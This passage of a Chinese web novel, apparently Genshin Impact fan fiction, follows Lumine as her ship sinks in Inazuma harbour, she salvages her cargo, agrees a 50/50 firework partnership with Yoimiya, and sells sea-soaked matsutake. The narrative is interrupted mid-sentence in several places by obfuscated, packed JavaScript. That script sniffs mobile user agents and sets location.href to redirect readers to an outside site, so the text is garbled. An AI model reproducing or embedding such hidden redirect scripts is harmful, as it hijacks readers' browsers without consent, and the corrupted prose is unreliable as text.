很轻的一声"噗"。金属钳夹住软体的声音。 安静。 然后负责人的声音传出来，语气轻松："搞定。一成多的幼体，没什么难度。" 荧松了一口气。她没意识到自己一直在屏息。 两个同心从货舱门里走出来。不是跑，是走。负责人手里端着密封容器，盖子拧得很紧，里面的紫色胶质体隔着半透明的罐壁隐约可见。助手跟在后面，已经在脱绝缘靴了。 荧注意到货舱门口飘出了一丝极淡的、几乎看不见的白气。但两个专业人员都没有回头，她以为那只是舱内外温差造成的水汽。 "舱内安全，可以搬货了。"负责人对检验官说。 派蒙也松了口气。"搞定了？那我们可以搬货了？荧，先搬极品那箱还是先搬松茸？松茸不耐放，我觉得应该先……" 检验官点头，在表格上记了一笔，转向荧："开始开箱检验。你把箱子……" 他没说完。 因为稳沉号的货舱方向亮了。 不是火。不是反光。是一种从内部涌出来的、完全不属于白天的光。 蓝色的光。不是幽蓝，不是淡蓝，是像闪电劈开天空时那种刺目的冰蓝色。 荧后来试图向别人描述那一刻看到的东西，每次都觉得语言不够用。 光从货舱门里涌出来的时候不是一道线，是一整面墙。蓝色的墙。它撞上甲板，甲板变蓝了。撞上桅杆，桅杆变蓝了。撞上帆面，帆面变蓝了。然后它越过船舷往四面八方扩散，扫过码头地面，扫过停靠在旁边的渔船，扫过检验官手里的表格，扫过派蒙银白色的头发。 荧低头看了一眼自己的手。手背是蓝色的。指甲缝是蓝色的。袖口的线头是蓝色的。 她的影子被投在身后的码头地面上。 但现在是白天。太阳在头顶。她本来不应该有那么重的影子。 蓝光在跟太阳抢影子。而且赢了。 离岛港口所有人都停下了手里的活。卸货的放下了箱子，拉缆绳的松了手，吆喝鱼价的闭上了嘴。所有人都在往她的船的方向看，表情是同一种：不理解。 不只是港口。后来她知道三条街以外都看到了。 光持续了大约十秒。 这十秒里时间是不对的。荧觉得自己站在那里站了很久，久到能把码头上每一个人的表情都看清楚。 万叶教过她夜泊石遇暗处发光。万叶没教过她两百七十二块夜泊石被雷元素同时激发是什么效果。 没有人教过她。因为大概从来没有人见过。 蓝光暗了。 暗下来之后世界有一瞬间变得特别黑，像是眼睛被强光晃过之后的那种短暂失明。等视觉恢复的时候，荧看到的第一个东西是货舱门里翻涌出来的烟。 黄色的烟。带火星的烟。木头在烧。 负责人反应很快。他把密封容器塞给助手，转身冲上跳板。走到一半，一股热浪从舱门方向扑过来，他抬手挡了一下脸，退了回来。 "进不去了。"他回头喊，"舱内温度太高。" 荧盯着冒烟的货舱门，脑子里快速过了一遍：六箱夜泊石，全在舱里。笔记本，在她手上。初号机，在码头上。派蒙，在她旁边。 人都在。货在烧。 然后她听到了一个声音。 "咔。" 不大。闷闷的。像是有人在船肚子里折断了一根很粗的筷子。 然后是持续的"嘎吱"声。 左舷方向传来的。 老周头的声音在她脑子里响了起来，清清楚楚的，像老头就站在旁边：左舷这几块旧板味道有点冲，木头已经开始发酸了。 甲板动了。 不是涌浪。涌浪是左右摇，会回来的。 这个是往□□。不回来。 船底传来水声。不是海浪拍船的那种"哗哗"，是水往封闭空间里灌的那种声音，闷的，"咕噜咕噜"的。 荧在这一秒里做了一个判断：左舷旧板烧穿了，水线以下进水，船保不住了。 离岛港口是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210115|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深水港。能停南十字船队的大型三桅帆船。稳沉号吃水浅，一旦沉下去就是完全沉没。 她有多少时间？ 看甲板倾斜的速度，大概一盏茶。 一盏茶。 荧往跳板方向跑了。 "荧！"派蒙在后面喊。 跳板已经歪了，一头翘起来。荧踩上去的时候木板在晃，她压低重心冲过去，跳上了甲板。甲板是斜的，左脚比右脚低了大半个掌宽，而且每一秒都在继续倾斜。 货舱门在冒烟。进不去。六箱夜泊石在里面，她够不到。 但她不是来抢石头的。 她转身冲向船尾的舵轮位置。舵轮旁边的木楔子下面压着一个油布包。里面是她从第一趟出海到现在的全部航行日志、账本、凝光的试点任务文件、北斗的航线图副本、万叶画的稻妻海域洋流标注、抵押给行秋的冰史莱姆借据。 三趟远洋的全部纸质记录。 她烧了可以。石头沉了可以。这个不可以。 甲板的倾斜角度在加大。荧蹲下去的时候左脚打了一下滑，膝盖磕在甲板上，一阵尖锐的痛从膝盖骨直窜到后脑勺。她咬了一下牙没出声，伸手扣住木楔子往外拽。木楔子受潮膨胀了，卡得很紧。 前世有句话怎么说来着。人在快死的时候会看到走马灯。荧现在快死的感觉还没有，但她确信如果她死在这里，走马灯的最后一帧一定是一个拔不出来的木楔子。 她用力拽了两下，第三下连木楔子带油布包一起拔了出来。 油布包抱在怀里。 起身。 甲板已经斜到站不稳了。左舷那边的海水已经漫过了船舷，正在往甲板上涌。荧的鞋底踩到了水，脚下一滑，差点摔倒。她一只手抱着油布包，另一只手扶住舵轮的底座，稳住了。 跳板已经脱离了码头，一头泡在水里。跳不回去了。 荧看了一眼码头。大概两丈远。 "初号机！接着！" 她把油布包朝码头方向扔了出去。初号机蹲在码头边缘，伸手稳稳接住了。 然后荧从右舷船舷翻了出去，跳进了港口的水里。 水很凉。稻妻的海水比璃月的冷。 她在水里扑腾了两下，抓住了码头边缘的缆绳桩，翻上了码头。从跳上船到翻回码头，大概半盏茶。 她站在码头上，浑身湿透，喘着气。 转过身。 稳沉号已经斜到桅杆快碰到水面了。海水从左舷灌进去，货舱已经完全淹没。船体在以一种缓慢的、庄重的速度下沉。 派蒙飘在半空，攥着避水符。上一次看到船沉是第一次出海，那次她被风暴吹到了半空，嘴里灌了满口海草，吓得哭了半个时辰。但这次她没哭。她飘在那里，嘴唇绷成一条线，盯着正在下沉的稳沉号。 初号机蹲在码头上，一只手抱着油布包，另一只手翻开自己的小本子，在上面画了一艘歪掉的船。 桅杆尖端最后消失在水面以下。 冒了几个气泡。 然后平静了。 稳沉号。 一千五百摩拉月租的船。踩三下掉一块板的船。补了十六块新板、万叶亲手修过的船。从璃月开到稻妻的船。 沉了。 如果船有朋友圈，上一条是"从璃月开到稻妻，集一百个赞"。这一条应该是"入境第一天就沉了，赞就不用集了"。 荧接过初号机手里的油布包，打开检查了一下。航行日志，干的。账本，干的。凝光的试点文件，干的。油布防水做得不错。 她把油布包重新裹好，抱在怀里坐下来。 然后她觉得眼眶有点发酸。 不是因为石头。石头在水里，能捞。不是因为钱。钱的事可以算。是因为她记得第一次站上那块甲板的时候连"收帆"都听不懂。记得右舷第三块板踩三下就掉，后来修了三次，最后一次是万叶亲手换的垂香木。记得老周头不上远洋的船但帮她递了最后两箱货。记得初号机值夜时候趴在甲板上听船底的声音。 她眨了一下眼睛，把那点酸味压回去了，默默的拿出笔记本。 48.入境检查（下） 入境检查事故记录： 天领奉行同心执行标准取样流程时，幼体受钳夹应激放电，电弧偏射。 推测路径：残余积水导电→潮湿木板传导→垂香木刨花焦耳热引燃→夜泊石被雷元素激发荧光爆发→火烧穿左舷三块腐朽旧板→水线以下进水→船体沉没。 整体处置流程符合规范。多因素叠加，非单一操作失误。 教训：到港后第一件事是修船，不是办手续。船是命，手续是工具。先保命。 另：北斗说过船上别带任何雷元素的东西，下次出发前找她要一份完整的远洋防护清单。 检验官走过来。 他的表情很复杂，大概是干了这么多年入境检查从来没遇到过这种事。 "事故报告勘定奉行和天领奉行双方都会存档。你的货物检验需要在货物打捞上来之后进行。夜泊石不溶于水，打捞后品质应该不受影响。打捞事项你跟港口管理方对接。" 天领奉行的同行负责人也过来了。 "取样流程我们是按规范操作的，全套防护都做了。幼体应激放电的方向不可控，电弧偏射是低概率事件，防护措施覆盖了幼体周围区域，但没有覆盖到左舷板壁。" 他顿了一下。"幼体应激、渗水、潮湿木板、旧板腐朽，四个因素缺了哪一个都不会出事。天领奉行会出一份事故认定书，认定为意外事故，不归责于任何单方。你可以拿这个跟港口管理方协商打捞和善后。" 荧点头。至少有一份官方文件。 人都走了之后，码头安静下来。 派蒙飘过来，挨着她坐下。 "荧。" "嗯。" "我们的船沉了。" "嗯。" 派蒙沉默了一会儿。她低头看了看水面，又摸了摸怀里的避水符。 "上次翻船的时候我被吹到半空，嘴里灌了满口海草。那次我以为是最糟的。" 荧没说话。 "现在发现不是。翻船至少船还在。" 初号机蹲在旁边，手里还抱着刚才来不及拿别的就先抢出来的一捆备用麻绳。它看了看荧，把麻绳放到她脚边，蹲回去继续看水面。 派蒙看了看那捆麻绳。"荧。" "嗯。" "初号机从一艘正在沉的船上抢出来的唯一一样东西，是一捆麻绳。" "它觉得有用。" "六箱夜泊石加一袋松茸加全套航海工具，它选了一捆麻绳。" "它判断力跟你差不多。上次你从翻了的船上先抢出来的是什么？" 派蒙想了想。"一块烤肉。" "所以别说它。" 三个人坐了一会儿。 然后荧站起来了。 "先打捞货物。" 沉没货物属于未清关的海关监管物资。勘定奉行安排了打捞：由港口管理方的打捞队执行，检验官全程在场监督，确保货物数量和状态与申报单可追溯。第二天打捞队下水，在检验官的监督下把六箱夜泊石和松茸全部捞上来了。打捞费一百二十摩拉，从荧的备用金里扣。 六箱全部拆开检查。夜泊石不怕水，泡了一天反而表面更干净，荧光更亮。目测没有碎裂和缺损。 松茸密封袋被水泡了，打开闻了闻，干菌香变成了湿腥味。废了。 "松茸完了。"派蒙在本子上划掉了松茸那行。划完她看了看笔记本前面的记录，那行写着"松茸干货一袋，预计售价一千二百摩拉"。她又看了看手里散发着湿腥味的松茸袋子。 "荧，这袋松茸从璃月坐了八天船到稻妻，躲过了海盗，躲过了雷史莱姆，躲过了蓝光爆炸，最后淹死了。" "嗯。" "它的一生比我们精彩。" 另外还有两只冰史莱姆。出发前塞在箱底当缓冲垫的那两只。打捞队说没在舱里找到。大概泡了一天海水之后自己化了，或者顺着破口飘走了。 派蒙在本子上加了一行："冰史莱姆×2，失踪。" 货物全部打捞上岸后，检验官当场做了正式的货物检验。六箱逐一清点，和申报单核对。 "普通品一百八十五块。申报一百八十六块，航行中损失一块，日志有记录。中品七十一块。极品十六块。合计二百七十二块，与申报数扣除航行损失后一致。" 他在表格上盖了章。"入境手续完成。" 六箱石头全部搬进了小林帮忙借的港口仓库。 荧在仓库门口坐下来算账。 "船体打捞及修复：小林问了两家船坞，因为是沉没打捞加全面修复，最低报价七千摩拉。现金余额约一千九百摩拉。松茸报废，预计收入一千二百摩拉归零。缺口五千一百摩拉。另：船主老头的租约赔偿，金额未定。" 派蒙写完看了一遍数字，又加了一行："抵押给行秋的冰史莱姆短期内没钱赎回来了，而且还丢了两只。回去让香菱在客栈多投冰块，多生几只，先补上丢的，再想办法赎。" 她写到"船主老头的租约赔偿"这行的时候，笔停了一会儿。一千五百摩拉月租的船，她给人弄沉了。老头说过"出了事别来找我"，但没说过"出了事你怎么赔我"。 "荧。"派蒙看着笔记本上的数字，"我们现在有多少钱？" "不到两千。" "修船要多少？" "七千。" 派蒙没说话。她在消化这个数字。 就在这时候，一个声音从码头远处传来。 不是惊恐的声音，不是围观的声音。是隔了一天之后专门找过来的、带着一种技术人员特有的执着的声音。 "那个蓝光！昨天那个蓝光！整个港口都亮了！我问了一圈终于问到是你们的船！" 一个扎红色丸子头的姑娘从人群里挤过来。她穿着一身跟火药打了很多年交道的工装，袖口有烧灼痕迹，指尖有黑色的硝烟印子。 她冲到荧面前，上气不接下气。"你们就是那艘璃月商船的？昨天那个蓝光到底是什么？！我当时在长野原都看到了！那个颜色、那个亮度、那个持续时间，绝对不是普通矿石荧光！" 然后她看到了仓库门口摆着的六箱石头，和旁边坐着的荧。 她的语速慢了下来。表情从技术狂热变成了意识到什么。 "你就是那个……船沉了的那个？" "对。"荧说。 宵宫安静了两秒。这对她来说已经是很长的安静了。 "人没事吧？" "人没事。" "那就好。"宵宫的语气柔了下来。她蹲下来，和荧平视。"船的事……很糟吧？" "很糟。" 宵宫点了点头。她没有说"会好起来的"或者"别难过"之类的话。她只是蹲在那里，陪了一会儿。 然后她的目光不受控制地飘向了旁边的石头箱子。 荧看到了。 "你想看石头。" 宵宫的脸微微红了一下。"对不起，我不是……你的船刚……" "看吧。"荧说，"我需要有人对这些石头有想法。" 宵宫拿起一块极品夜泊石，放在手心翻来覆去地看。不是在估价，是在研究结构。她用指甲轻轻刮了刮表面，看刮痕深度，又举起来对着阳光看透光度。 "矿晶结构比我以前见过的璃月样品致密得多。品质非常好。"她放下石头，"你昨天那个蓝光，是被雷元素激发的对吧？" "对。雷史莱姆幼体的感电反应激发的。" "那个亮度和色温，如果能控制激发强度，用在烟花里做发光芯材……"她蹲在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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第二件：问鱼价。离岛港口的鲷鱼四十摩拉一条，比璃月贵了快一倍。派蒙在本子上记了下来："稻妻鲷鱼40摩拉/条。回去告诉老周头。" 写完这行她忽然停了笔。"荧，老周头说过''到了稻妻别急着回来，找个船坞把左舷全换了再走''。" 荧没说话。前世写项目复盘报告的时候，"风险已识别但因优先级排序未及时处理"这句话她至少写过二十次。没想到穿越之后自己也成了那个被复盘的人。 "我们还没换，船就沉了。" "我知道。" 接下来的等待很难熬。荧每天去仓库检查夜泊石，然后回到小林帮忙安排的港口临时住所里算账。账越算越难看。缺口五千一。船主赔偿悬在头上。 "荧。"派蒙飘在她旁边。"你说宵宫三天能做出来吗？" "她在裤腿上画图的速度比我写笔记快。应该能。" 派蒙想了想。"第一次出海翻船，第二次出海遇海盗，第三次出海船沉了。如果说以前叫命硬，这次大概叫沉没成本。" 荧看了她一眼。 "荧，你表情变了。怎么了？" "没什么。就是你刚才那四个字，用得很准。" "沉没成本？我在璃月书铺翻账本的时候看到过这个词。就是花出去收不回来的钱嘛。正好我们的船也沉了。" "嗯。双关。" "什么双关？" "没什么。" 第三天傍晚，宵宫派人送来了一张纸条。 上面只写了一行字，字迹潦草得像是一边搓引线一边写的： "来看。效果炸了。" 派蒙把纸条翻过来看了看背面，没有了。 "就这？" "就这。"荧站起来，揣上通行证。 "走。" 49.夜泊石入股谈判 "来看。效果炸了。" 荧在收到纸条后揣上通行证准备出门。 派蒙看了一眼通行证上的字，问了一个很实际的问题："荧，你这个是离岛临时通行证。长野原在稻妻城城下町。你进不去吧？" 荧把通行证翻过来看了看。 上面写得清楚：允许在离岛范围内活动七天。 "进不去。" "那她让我们''来看''，怎么去？" 荧正在想要不要找小林帮忙加办一张稻妻城通行许可，门外传来脚步声。 不是一个人的脚步。是一个人在跑，两个人在跟着搬东西。 宵宫从码头方向冲过来。后面跟着两个搬运工，一人扛着一个木箱。 "不用去了！我来了！" 她冲到仓库门口，上气不接下气。 工装袖口多了两个新的烧灼痕迹，左手食指缠了一圈纱布。 "你怎么来离岛了？" "写完纸条之后越想越等不及。昨天就找社奉行神里家的人帮忙出了一份''烟花新品物料采购''的事由证明，今早拿着证明去勘定奉行报备，走了正式的单日通行手续。" 她拍了拍身上的灰，"跟我一起来的两个搬运工是勘定奉行备案的离岛本地搬运队，不用额外办入岛手续，省了不少事。" 她说完，语速忽然慢了下来。 "对了，你们的船怎么样了？修船的事有着落了吗？" "还没有。"荧说，"修船费缺口还在。" 宵宫点了点头，没有再追问。 她蹲下来解布包：里面是三颗拳头大小的球状物，外壳是烟花纸筒，表面各裹着一层半透明的膜。 "走，找个空地。" 仓库后面有一小片码头空地。 宵宫把三颗样品排开，掏出火折子。 "看着。" 极品款先点——引线烧了三秒，"嘭"的一声，冰蓝色光雾从中心向外扩散。和稳沉号那天失控的蓝光是同一种蓝。 但那次是灾难，这次是被驯服的灾难。 光雾停了将近两秒才散。 中品款浅一档，普通品接近天青色。 三颗看完，空气里只有矿石的凉意。 荧说："效果确实炸了。" 宵宫笑了，是匠人做出满意作品的那种笑。 "极品芯材配缓释膜，发光能拉到两秒以上。中品做日常款，普通品磨粉铺底光层。三个品级三个价位，整条产品线能铺开。" 荧没有继续夸。 她坐下来，翻开笔记本。 "先谈生意。" 宵宫也找了个木箱坐下。 "如果我把剩下的石头卖给你，你出什么价？" 宵宫想了想。"离岛行情五折，大概一万两千五。现结。" 荧在笔记本上写了这个数字。 然后在下面列了总投入：采购一万五，运输两千三，松茸报废一千二，打捞费自付八十四，修船预估七千。画了一条线，算差额。 亏一万三。 她盯着这个数字，拆明细、换算法，前后算了三遍，差额始终是一万三。 "你换了三个方向算同一个数字。"宵宫说。 荧抬头。 "而且脸越来越黑。能不能别算了？" 荧把笔放下了。 "我不卖。" 宵宫等着她说下去。 "卖了一万二千五，我还是巨亏，石头没了，你的原料也断了。你想进同品质的夜泊石，得自己跑璃月采购、找船、扛海运风险。算下来比跟我合作贵得多。" "那你想怎么做？" "以物入股。我出石头，你出技术和生产。不是买卖，是合伙。" 宵宫想了一会儿。 不是在犹豫，是在认真想这件事的做法。 "合伙可以。但分成怎么算？" "你先开条件。" 宵宫的思路是匠人式的：先想活怎么干，再想钱怎么分。 "配方我调，生产我管，稻妻的铺子我跑。我之前跟稻妻本地的材料商合作过，技术方拿七成，材料方拿三成，这行一直这样。七三。" 荧没有立刻还价。 "你现在普通款烟花，批发多少一颗？" "十二到十五，看品种。" "这批冰蓝款你打算批发多少？" "三十。品质摆在这，三十不算贵。" "那多出来的十五到十八摩拉的溢价，来自哪？" 宵宫没说话。 "来自石头。你的技术把石头变成了烟花，但让它能卖三十而不是十五的那部分溢价，是石头带来的。而且我能给你稳定独家供货，你不用承担海运风险，这部分成本你没算。" "可技术也是独家的。"宵宫说，"没有我的缓释膜配方，你这批石头就是矿石，只能按原价批发。" "没错。所以双方都有独家价值。问题是按你的七三，材料方只拿三成，但材料贡献了一半以上的产品溢价。这不合理。" "那你觉得几几？" "先不报数字。"荧说，"我想听听你最在意什么。" 宵宫没想到她会这么问。 "最在意什么……"她想了一下，"做出来的东西不能丑。配方归我，设计归我，品控我说了算。" "如果我保证品牌联名时长野原排在前面呢？" 宵宫的表情变了。长野原排在前面，意味着产品代表她的招牌。好了她有面子，差了丢的也是她的脸。这是匠人最在意的东西。 "你的意思是……" "五五分成。配方、设计、品控归你。品牌联名，长野原在前，望舒在后。稻妻销售归你，璃月归我。" 宵宫没有立刻点头。"五五的话，我的人工和设备折旧成本比你高。每颗烟花我的生产成本大概十到十二摩拉，你的石头分摊下来每颗不到五摩拉。纯按成本占比算，你拿五成太多了。" "但纯按成本占比算，你拿七成也没把溢价算进去。"荧说，"而且有一个东西你没算。" "什么？" 这时候派蒙忽然开口了。她从谈判开始就一直在旁边飘着没说话，全程在听。 "宵宫姐姐，你说你之前跟材料商的合作都是七三。"派蒙说，"但那些材料商给你的材料，有没有让你觉得''以前做的全是凑合''？" 宵宫停住了。 这是她昨天在港口看到蓝光烟花时自己说的原话。 "这批石头不是普通材料。"派蒙说，"这个是你做了十几年烟花都没碰到过的东西。" 宵宫看着派蒙。然后她笑了。 她做了十几年烟花，从来没碰到过一种材料，能让她熬三个通宵改配方、能让她为了看样品跑两个奉行办手续、能让普通款的售价直接翻一倍。七三是给普通材料定的行规。这批石头，从来就不是普通材料。 "行。五五。" 她伸出手。荧握了。 荧翻到笔记本新一页，开始写合作协议。 "长野原×望舒客栈夜泊石烟花合作协议。 甲方：长野原宵宫（技术研发、生产制造、产品品控、稻妻区域销售）。乙方：望舒客栈荧（原材料供应、璃月及其他区域销售）。 合作形式：以物入股，乙方以夜泊石作为出资折为项目股份，不另计货款。首批出资：二百六十四块（极品十三、中品六十六、普通品一百八十五）。此前交付的八块样品石已用于配方研发，不计入出资，在附注中记录。 出资估值：首批夜泊石双方确认估值一万五千摩拉（璃月采购成本价），对应项目百分之五十股份。甲方以技术配方、生产设备及稻妻渠道资源作价一万五千摩拉，对应项目百分之五十股份。双方出资对等。 利润分成：五五。产品设计、配方与命名权归甲方。品牌联名，长野原在前，望舒在后。销售分区：稻妻归甲方，璃月及其他区域归乙方。 亏损分担：经营性亏损按五五承担。核算范围包含原材料采购、生产辅料、人工、设备折旧、渠道费用及合规税费，双方每月共同确认账目。因品控问题导致的退货由甲方承担，因原材料品质问题导致的损失由乙方承担。 后续供货：试销期内原材料用完，由乙方负责补货。补货石头按璃月产地成本价结算，采购款由双方按五五比例预付，从后续销售利润中优先回收。补货品质不低于首批标准，供货周期不超过两个月。乙方断供超过三个月或品质连续不达标，甲方有权单方终止合作。 退出机制：任一方提前终止，需提前三十天书面通知。终止时未售库存按成本价清算，配方归甲方，渠道各归各家。 试销期：三个月。期满后双方均无异议则自动续约，条款不变。任一方要求调整，双方协商，协商不成则按退出机制处理。" 宵宫凑过来看了一遍。"你以前干过这个吧。" "算是吧。" 宵宫看完点了点头。"加一条：配方在合作期内不对外授权。" "已经隐含在''配方归甲方''里了。加上明文。"荧写上了。 "还有一条。"派蒙飘过来，"望舒客栈那四个字能不能写大一点？" "不能。字一样大。协议里写了。" "好吧。" 宵宫在甲方栏画了一个圆圈，里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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荧知道她问的是谈判最后那句。 "有用。" "真的？" "宵宫纠结五五不是因为钱。是因为她觉得按行规技术方应该拿大头。你提醒她这批石头不是普通材料，她自己说过''以前做的全是凑合''，她就过了那个坎。" 派蒙想了一会儿。"所以我说的不是商业逻辑，是……" "是她自己的话。"荧说，"有时候最有说服力的不是你的道理，是对方自己说过的话。" 派蒙掏出笔记本，歪歪扭扭写了一行字："说服别人最好用的武器，是他自己说过的话。" 写完她挠了挠头，又加了一行小字："这句话是荧说的，我记下来，以后砍价用。回去问问行秋是不是真的。" 回到住所后，荧在笔记本上算了一笔账。 冰蓝烟花批发三十摩拉。扣掉宵宫的生产成本十到十二摩拉，再扣掉铺子的渠道分成、税费和损耗，单颗净利润大概十到十二摩拉。五五分成，荧拿五到六。 首批石头能做约一千九百七十七颗。按每颗五摩拉算，荧的分成约九千八百摩拉。 她的总投入超过两万五。首批利润连一半都覆盖不了。 但这不是一锤子买卖。如果冰蓝烟花在稻妻卖得动，第二批石头的采购成本由双方分摊，荧的负担减半。而且渠道铺开之后走量会上去，单颗利润低但总量大。算三到四批，总利润有可能覆盖前期亏损。 关键词是"有可能"。不是"一定"。但卖断石头是"一定亏"。两个选项之间，她选了那个有可能的。 她合上笔记本。派蒙已经睡着了。 荧看了看派蒙的笔记本，翻到刚才写的那一页。 "说服别人最好用的武器，是他自己说过的话。" 下面那行小字："这句话是荧说的，我记下来，以后砍价用。回去问问行秋是不是真的。" 荧把笔记本合上，放回派蒙旁边。 "那半本经营手册没白翻。"她自言自语了一句。 旁边传来迷迷糊糊的声音："什么？你说什么？" "没什么。睡吧。" 当晚，离岛港口仓库。 石头已经全部运走了。但仓库地面上，派蒙摔碎那块中品夜泊石的位置，石阶角的缝隙里嵌着几粒矿晶碎屑。太小了，收拾的时候谁也没注意到。 夜色里，碎屑发出极微弱的蓝色荧光。 仓库的门没有锁严。海风从门缝灌进来。 门缝外面的黑暗中，一团很小的、紫色的东西，正沿着门框底部慢慢往里挤。 指甲盖大小。半透明。表面有微弱的电光在流动。 它朝着那一点蓝光的方向，一寸一寸地挪动。 50.松茸翻车记（上） 松茸的事，本来已经翻篇了。 打捞上来那天，荧打开密封袋闻了一下，干菌香变成了湿腥味，当场判了死刑："废了。"派蒙在本子上划掉了松茸那行，还写了一句悼词："菌生无常，大肠包小肠。" 但签完烟花协议的那天傍晚，荧在仓库整理货物的时候，鼻子里飘进来一股奇怪的味道。不是腥味。是一种介于菌香和海盐之间的东西。 她停下来，重新打开松茸袋子。 表面发软，颜色深了一个色号。但没有发霉，没有腐烂。掰开一颗看横截面，内芯的菌香还在。 "这不是废了。这是降级了。" 荧的内心弹幕：等等。泡了海水的松茸，自带盐味，洗一洗还能用？这不就是前世临期食品折扣店的逻辑吗？别人创业九死一生，我创业全靠沉船捡漏？ "降级？"派蒙飘过来。 "品相不达标，正价卖不了。但菌子没坏。用清水反复漂洗把多余盐分泡掉，重新脱水，可以做加工品。" 前世做广告策划做了十年，穿越到提瓦特洗松茸。打工人的命，走到哪都是加工别人不要的东西。 当天晚上她就动手了。松茸倒进清水浸泡，换了三遍水，把盐分洗到正常范围，摊开脱水。第二天挑了几颗碎料切薄片，扔进借来的旧锅里加水煮。 荧的厨艺属于稀碎级别。前世靠外卖活了十年，穿越后靠香菱续命。所以她煮汤的方法极其朴素：碎料扔进去，加水，烧开，完事。没有调味，没有火候，连锅盖都是歪的。 但汤底出乎意料地好。漂洗后残留了一点海盐底味，配上菌香，咸鲜得离谱。厨艺稀碎的人煮出了好汤，唯一的原因是原材料太强，怎么煮都好喝。 "派蒙，尝尝。" 派蒙喝了一口。眼珠子不转了。喝了第二口。整个人定在半空中。 "荧。" "嗯。" "这汤。" "嗯。" "我愿意用三个月的烤鸡腿配额换一锅。" "那是你能给出的最高评价了。" "不，最高评价是六个月。这个只值三个月。但如果加一片脆的松茸进去，可以商量。" 荧的内心弹幕：派蒙的味觉评价体系，永远以烤鸡腿为锚定货币。提瓦特央行应该聘她当货币政策顾问。 "海水浸泡再漂洗，比直接加盐味道更均匀。"荧说，"主打一个废物利用反向翻盘。" "那这袋松茸不是废了，是升级了？" "没那么夸张。降级品做出了差异化口感。但只有三十斤，做不了大生意。" 荧的抠门基因动了。 十摩拉一斤的松茸？正品价六七十？这不收白不收。省钱是她所有脑洞的出发点，从前世做项目预算就是，穿越了也没变。花最少的钱办最大的事，是刻在DNA里的。 第二天去港口市场，她发现离岛港口有一批品相降级的受潮松茸，本地商户嫌品相差不收，菌农滞销。微潮品十摩拉一斤，严重受潮五摩拉，碎料一摩拉。 她看着那堆没人要的松茸，脑子里的策划方案已经自动开始排版了。标题都想好了：《璃月×稻妻跨国联名款天然盐渍松茸》。副标题：《双厨狂喜，限量供应》。 "荧，你是不是想大批收？"派蒙看出来了，声音提高了八度，"一斤十摩拉，一百斤就是一千！你再收下去，我们就要睡松茸堆里了！到时候你跟松茸过吧！我去找香菱吃好吃的！" "先收五十斤试。" "五十斤五百摩拉！五百摩拉能买一百二十五只烤鸡腿你知道吗！" 派蒙的烤鸡腿换算体系是提瓦特最精密的货币锚定标准。任何超过一百摩拉的支出，她都会自动折算成烤鸡腿数量，然后用一种"你在谋杀鸡腿"的眼神看着荧。 荧收了五十斤回来。漂洗、脱水、分拣。做了三样东西： 璃月盐渍松茸：漂洗后晾干，不伪装正品干货，直接打差异化卖点。定价二十摩拉一斤。营销话术：璃月绝云间高山松茸，稻妻海域天然盐渍，双产地跨国联名，限量供应。说白了就是泡了海水的松茸洗干净了卖。但包装一下听起来就很高级。做广告策划的肌肉记忆直接动了：同一个东西，换个说法就是另一个价格。凝光听了都要连夜发请帖请她去群玉阁当商务总监。 松茸咸鲜汤底料：碎料切碎熬汤分装。散客二十五摩拉一碗，批发三十摩拉一份煮五碗。 松茸脆片：派蒙的功劳。她切松茸手滑，碎料掉到火堆旁石板上烤干了。她捡起来尝了一口，当场封神。定价八摩拉一包。派蒙给自己发了一笔"研发奖金"，就是偷吃了五片。 "这算工伤补贴。"她说。 "工伤？你哪伤了？" "我的味觉受到了不可逆转的冲击。以后吃别的脆片都觉得不好吃了。这不是工伤是什么？" 摆摊之前要办手续。荧找小林跑勘定奉行。初号机跟着去了，举着"忍痛折价"的牌子在管理处门口歪了十分钟头。办事员从窗口探出来看了三次，第三次没忍住出来摸了摸它的头。初号机不懂发生了什么，但它感受到了善意，于是把头歪得更厉害了。 办事员不仅当场批了临时经营许可，还顺便买了三包脆片。走的时候说"你这个小东西比你老板会做生意"。 派蒙在旁边小声说："它刚才是不是靠卖萌拿了营业执照？" 荧："这叫品牌IP赋能。" 小林翻着税则手册说："零售和批发分开计。集市零售按日缴定额税包含在摊位费里，批发和大宗订单按成交额另计商税，季度末统一结算。"后来追加收购本地菌农受潮松茸，又补了一份"外商采购本地原材料加工出售"的报备。 开始卖。 摆摊第一天就出师不利。荧刚把桌子摆好，一阵海风把汤锅吹翻了，半锅汤泼在地上。她的非酋体质从前世延续到了提瓦特。前世抽卡从来没出过金，穿越后摆摊第一天就翻锅。果然是零命荧，没有命座加成的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223374|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人生。 她默默重新煮了一锅。派蒙在旁边算："半锅汤大概十二碗，二十五摩拉一碗，损失三百摩拉，七十五只烤鸡腿，你心不心疼？" "心疼。但不说出来。" 